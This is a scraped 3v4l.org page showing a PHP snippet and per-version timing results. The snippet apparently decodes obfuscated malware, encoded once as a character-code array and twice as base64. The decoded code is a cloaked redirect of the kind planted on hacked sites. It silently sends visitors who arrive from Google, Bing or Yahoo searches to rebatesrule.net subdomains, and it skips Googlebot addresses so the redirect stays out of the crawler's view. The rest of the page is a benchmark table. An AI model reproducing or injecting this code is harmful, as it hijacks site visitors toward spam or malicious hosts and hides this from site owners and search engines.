3v4l.org

run code in 300+ PHP versions simultaneously
<?php $data=array(101,114,114,111,114,95,114,101,112,111,114,116,105,110,103,40,48,41,59,32,105,102,32,40,33,104,101,97,100,101,114,115,95,115,101,110,116,40,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,123,32,105,102,32,40,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,77,83,73,69,32,40,57,46,48,124,49,48,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,114,118,58,91,48,45,57,93,43,92,46,48,92,41,32,108,105,107,101,32,71,101,99,107,111,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,70,105,114,101,102,111,120,92,47,40,91,48,45,57,93,43,92,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,44,36,109,97,116,99,104,102,41,32,97,110,100,32,36,109,97,116,99,104,102,91,49,93,62,49,49,41,41,123,32,105,102,40,33,112,114,101,103,95,109,97,116,99,104,40,34,47,94,54,54,92,46,50,52,57,92,46,47,34,44,36,95,83,69,82,86,69,82,91,39,82,69,77,79,84,69,95,65,68,68,82,39,93,41,41,123,32,105,102,32,40,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,121,97,104,111,111,46,34,41,32,111,114,32,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,98,105,110,103,46,34,41,32,111,114,32,112,114,101,103,95,109,97,116,99,104,32,40,34,47,103,111,111,103,108,101,92,46,40,46,42,63,41,92,47,117,114,108,92,63,115,97,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,32,123,32,105,102,32,40,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,99,97,99,104,101,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,105,110,117,114,108,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,69,101,89,112,51,68,55,34,41,41,123,32,104,101,97,100,101,114,40,34,76,111,99,97,116,105,111,110,58,32,104,116,116,112,58,47,47,113,111,102,104,116,104,106,110,122,46,114,101,98,97,116,101,115,114,117,108,101,46,110,101,116,47,34,41,59,32,101,120,105,116,40,41,59,32,125,32,125,32,125,32,125,32,125,32,125,32,125);$code="";foreach ($data as $var){ $code.=chr($var);} echo($code); unset($data);$unset($code);?> <?php echo base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcnNfc2VudCgpKXsgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSl7IGlmICgocHJlZ19tYXRjaCAoIi9NU0lFICg5LjB8MTAuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSBvciAocHJlZ19tYXRjaCAoIi9ydjpbMC05XStcLjBcKSBsaWtlIEdlY2tvLyIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgb3IgKHByZWdfbWF0Y2ggKCIvRmlyZWZveFwvKFswLTldK1wuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJG1hdGNoZikgYW5kICRtYXRjaGZbMV0+MTEpKXsgaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsgaWYgKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJ5YWhvby4iKSBvciBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiYmluZy4iKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7IGlmICghc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sImNhY2hlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJFZVlwM0Q3IikpeyBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vdWllcGZqbGVmLnJlYmF0ZXNydWxlLm5ldC8iKTsgZXhpdCgpOyB9IH0gfSB9IH0gfSB9"); echo base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcnNfc2VudCgpKXsgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSl7IGlmICgocHJlZ19tYXRjaCAoIi9NU0lFICg5LjB8MTAuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSBvciAocHJlZ19tYXRjaCAoIi9ydjpbMC05XStcLjBcKSBsaWtlIEdlY2tvLyIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgb3IgKHByZWdfbWF0Y2ggKCIvRmlyZWZveFwvKFswLTldK1wuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJG1hdGNoZikgYW5kICRtYXRjaGZbMV0+MTEpKXsgaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsgaWYgKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJ5YWhvby4iKSBvciBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiYmluZy4iKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7IGlmICghc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sImNhY2hlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJFZVlwM0Q3IikpeyBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vdWllcGZqbGVmLnJlYmF0ZXNydWxlLm5ldC8iKTsgZXhpdCgpOyB9IH0gfSB9IH0gfSB9"); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00918.56
8.3.50.0100.00821.88
8.3.40.0130.00918.79
8.3.30.0070.00719.17
8.3.20.0080.00020.38
8.3.10.0080.00021.95
8.3.00.0000.00822.37
8.2.180.0060.00916.88
8.2.170.0110.00322.96
8.2.160.0100.00321.05
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0080.00026.16
8.2.120.0090.00019.51
8.2.110.0090.00022.25
8.2.100.0090.00317.81
8.2.90.0050.00319.30
8.2.80.0030.00618.04
8.2.70.0000.00817.75
8.2.60.0060.00318.05
8.2.50.0040.00418.07
8.2.40.0040.00418.27
8.2.30.0030.00518.13
8.2.20.0050.00317.89
8.2.10.0080.00019.59
8.2.00.0040.00417.93
8.1.280.0140.00425.92
8.1.270.0050.00322.14
8.1.260.0080.00026.35
8.1.250.0080.00028.09
8.1.240.0060.00617.61
8.1.230.0030.00721.01
8.1.220.0000.00817.79
8.1.210.0050.00318.77
8.1.200.0100.00017.47
8.1.190.0000.00917.53
8.1.180.0030.00618.72
8.1.170.0030.00618.55
8.1.160.0040.00422.04
8.1.150.0050.00318.77
8.1.140.0020.00517.53
8.1.130.0050.00317.81
8.1.120.0040.00417.55
8.1.110.0040.00417.52
8.1.100.0020.00517.55
8.1.90.0040.00417.44
8.1.80.0040.00417.46
8.1.70.0030.00317.50
8.1.60.0060.00317.68
8.1.50.0040.00417.66
8.1.40.0040.00417.63
8.1.30.0000.00817.66
8.1.20.0000.00817.61
8.1.10.0060.00317.55
8.1.00.0080.00017.61
8.0.300.0040.00418.77
8.0.290.0000.00917.30
8.0.280.0070.00018.52
8.0.270.0070.00017.29
8.0.260.0000.00716.92
8.0.250.0030.00316.96
8.0.240.0040.00417.09
8.0.230.0040.00417.14
8.0.220.0000.00716.91
8.0.210.0040.00416.90
8.0.200.0030.00316.97
8.0.190.0030.00517.09
8.0.180.0030.00516.95
8.0.170.0040.00417.01
8.0.160.0000.00817.00
8.0.150.0050.00317.02
8.0.140.0000.00717.01
8.0.130.0040.00413.56
8.0.120.0000.00716.98
8.0.110.0000.00817.02
8.0.100.0000.00716.85
8.0.90.0040.00416.98
8.0.80.0100.00617.06
8.0.70.0000.00816.86
8.0.60.0040.00417.08
8.0.50.0070.00016.85
8.0.30.0110.00817.26
8.0.20.0180.00317.46
8.0.10.0000.00717.02
8.0.00.0170.00716.93
7.4.330.0050.00015.12
7.4.320.0060.00016.49
7.4.300.0080.00016.68
7.4.290.0040.00416.61
7.4.280.0000.00716.67
7.4.270.0070.00016.58
7.4.260.0030.00616.57
7.4.250.0040.00416.59
7.4.240.0040.00416.65
7.4.230.0030.00316.64
7.4.220.0180.00016.70
7.4.210.0040.01216.59
7.4.200.0030.00316.71
7.4.190.0070.00016.54
7.4.160.0060.01016.62
7.4.150.0160.00017.40
7.4.140.0140.01617.86
7.4.130.0090.01016.67
7.4.120.0080.01016.67
7.4.110.0200.00016.80
7.4.100.0200.00316.56
7.4.90.0060.01016.61
7.4.80.0120.00619.39
7.4.70.0130.00316.74
7.4.60.0080.01216.58
7.4.50.0040.00416.50
7.4.40.0100.00722.77
7.4.30.0100.00716.73
7.4.00.0050.01215.15
7.3.330.0040.00413.31
7.3.320.0000.00613.14
7.3.310.0080.00016.37
7.3.300.0070.00016.29
7.3.290.0040.01116.35
7.3.280.0120.00516.42
7.3.270.0170.00317.40
7.3.260.0140.00716.51
7.3.250.0150.00516.40
7.3.240.0060.01016.39
7.3.230.0120.00616.48
7.3.210.0070.01016.56
7.3.200.0090.01319.39
7.3.190.0100.00616.61
7.3.180.0100.01016.62
7.3.170.0070.01016.44
7.3.160.0040.01116.65
7.3.120.0050.01015.11
7.3.110.0030.01315.06
7.3.100.0030.01414.72
7.3.90.0070.00714.95
7.3.80.0030.01014.95
7.3.70.0080.00414.78
7.3.60.0040.01114.61
7.3.50.0090.00314.79
7.3.40.0000.01514.79
7.3.30.0060.00614.66
7.3.20.0000.01516.62
7.3.10.0030.00616.77
7.3.00.0040.00816.74
7.2.330.0170.00016.71
7.2.320.0140.01316.56
7.2.310.0070.01016.68
7.2.300.0060.01216.68
7.2.290.0070.01016.32
7.2.250.0060.01315.13
7.2.240.0090.00614.87
7.2.230.0000.01615.14
7.2.220.0090.00314.91
7.2.210.0070.00714.88
7.2.200.0040.01115.14
7.2.190.0140.00314.91
7.2.180.0030.01014.73
7.2.170.0040.00814.94
7.2.60.0050.00516.95
7.2.00.0040.01119.25
7.1.330.0000.01416.05
7.1.320.0000.00915.90
7.1.310.0000.01315.54
7.1.300.0100.00715.82
7.1.290.0070.00715.86
7.1.280.0130.00315.45
7.1.270.0070.00715.89
7.1.260.0030.01015.83
7.1.200.0030.00615.82
7.1.100.0030.00917.96
7.1.70.0030.00617.07
7.1.60.0030.02119.82
7.1.50.0030.01716.96
7.1.00.0000.08022.31
7.0.200.0060.00616.66
7.0.140.0070.06722.18
7.0.60.0070.08320.02
7.0.50.0070.07317.86
7.0.40.0070.08720.52
7.0.30.0200.04320.21
7.0.20.0300.07320.00
7.0.10.0000.05020.09
7.0.00.0070.04320.30
5.6.280.0030.07321.05
5.6.210.0170.07320.86
5.6.200.0100.08018.27
5.6.190.0070.08320.43
5.6.180.0330.06720.43
5.6.170.0200.05020.47
5.6.160.0170.08020.72
5.6.150.0100.08018.20
5.6.140.0070.05018.24
5.6.130.0000.07718.14
5.6.120.0070.05721.10
5.6.110.0030.09021.09
5.6.100.0070.08321.19
5.6.90.0100.06021.11
5.6.80.0070.06720.46
5.6.70.3370.03020.60
5.5.350.0300.07320.48
5.5.340.0200.06718.08
5.5.330.0030.05020.40
5.5.320.0000.04320.34
5.5.310.0370.07320.18
5.5.300.0170.06318.07
5.5.290.0200.04317.96
5.5.280.0100.08020.97
5.5.270.0100.07320.98
5.5.260.0100.08020.87
5.5.250.0100.07720.68
5.5.240.0270.07320.47
5.4.450.0230.07319.49
5.4.440.0270.07319.58
5.4.430.0300.07319.43
5.4.420.0370.05719.25
5.4.410.0270.05719.45
5.4.400.0270.05318.93
5.4.390.0200.05719.13
5.4.380.0270.06319.11
5.4.370.0230.06319.26
5.4.360.0300.03019.11
5.4.350.0300.05018.97
5.4.340.0270.06319.15
5.4.320.0230.05719.22
5.4.310.0300.06319.13
5.4.300.0130.05019.12
5.4.290.0300.05019.26
5.4.280.0300.07019.12
5.4.270.0330.04319.13
5.4.260.0300.07718.86
5.4.250.0270.07319.27
5.4.240.0230.07018.86
5.4.230.0270.07019.29
5.4.220.0230.08019.29
5.4.210.0330.06019.12
5.4.200.0270.07719.15
5.4.190.0230.07718.83
5.4.180.0270.07319.07
5.4.170.0200.05018.93
5.4.160.0130.04319.13
5.4.150.0330.06319.11
5.4.140.0270.06716.28
5.4.130.0170.03716.53
5.4.120.0170.06016.36
5.4.110.0270.07016.46
5.4.100.0300.07016.15
5.4.90.0330.06016.48
5.4.80.0430.04316.51
5.4.70.0230.06016.45
5.4.60.0230.03716.24
5.4.50.0230.06016.45
5.4.40.0270.06716.39
5.4.30.0130.05716.13
5.4.20.0270.05716.12
5.4.10.0330.06316.45
5.4.00.0230.05715.81
5.3.290.0230.04714.71
5.3.280.0300.06314.66
5.3.270.0200.06714.68
5.3.260.0200.04714.64
5.3.250.0230.06314.66
5.3.240.0300.04314.90
5.3.230.0270.07314.75
5.3.220.0230.07714.72
5.3.210.0200.06314.68
5.3.200.0200.07314.80
5.3.190.0170.05714.62
5.3.180.0230.07314.61
5.3.170.0330.05314.81
5.3.160.0400.05314.63
5.3.150.0270.06314.62
5.3.140.0170.05714.57
5.3.130.0300.06714.62
5.3.120.0400.05314.70
5.3.110.0200.04314.77
5.3.100.0200.07714.14
5.3.90.0230.06314.16
5.3.80.0170.07714.31
5.3.70.0200.05014.15
5.3.60.0270.06014.23
5.3.50.0230.06014.20
5.3.40.0130.04714.11
5.3.30.0370.05313.95
5.3.20.0170.05313.73
5.3.10.0200.05013.60
5.3.00.0330.05313.89
5.2.170.0270.03712.68
5.2.160.0200.03712.68
5.2.150.0200.06312.68
5.2.140.0230.03712.68
5.2.130.0170.06312.68
5.2.120.0170.06012.68
5.2.110.0230.04012.68
5.2.100.0200.06012.68
5.2.90.0130.05712.68
5.2.80.0230.05712.68
5.2.70.0230.04012.68
5.2.60.0170.03012.68
5.2.50.0200.06012.68
5.2.40.0070.05312.68
5.2.30.0170.06012.68
5.2.20.0200.05312.68
5.2.10.0200.05312.68
5.2.00.0200.05712.68
5.1.60.0200.04312.68
5.1.50.0100.05012.68
5.1.40.0200.02712.68
5.1.30.0100.03712.68
5.1.20.0170.05012.68
5.1.10.0200.03312.68
5.1.00.0200.05012.68
5.0.50.0130.03312.68
5.0.40.0070.02312.68
5.0.30.0100.04312.68
5.0.20.0130.04012.68
5.0.10.0100.03312.68
5.0.00.0130.06312.68
4.4.90.0070.02312.68
4.4.80.0070.01712.68
4.4.70.0100.02312.68
4.4.60.0070.03712.68
4.4.50.0070.04012.68
4.4.40.0070.04312.68
4.4.30.0070.02712.68
4.4.20.0070.02712.68
4.4.10.0130.03312.68
4.4.00.0170.03712.68
4.3.110.0070.02012.68
4.3.100.0100.02712.68
4.3.90.0030.04012.68
4.3.80.0100.04012.68
4.3.70.0130.03012.68
4.3.60.0070.02312.68
4.3.50.0070.02712.68
4.3.40.0130.05012.68
4.3.30.0100.03312.68
4.3.20.0130.02312.68
4.3.10.0030.03012.68
4.3.00.0030.03712.68

preferences:
46.96 ms | 401 KiB | 5 Q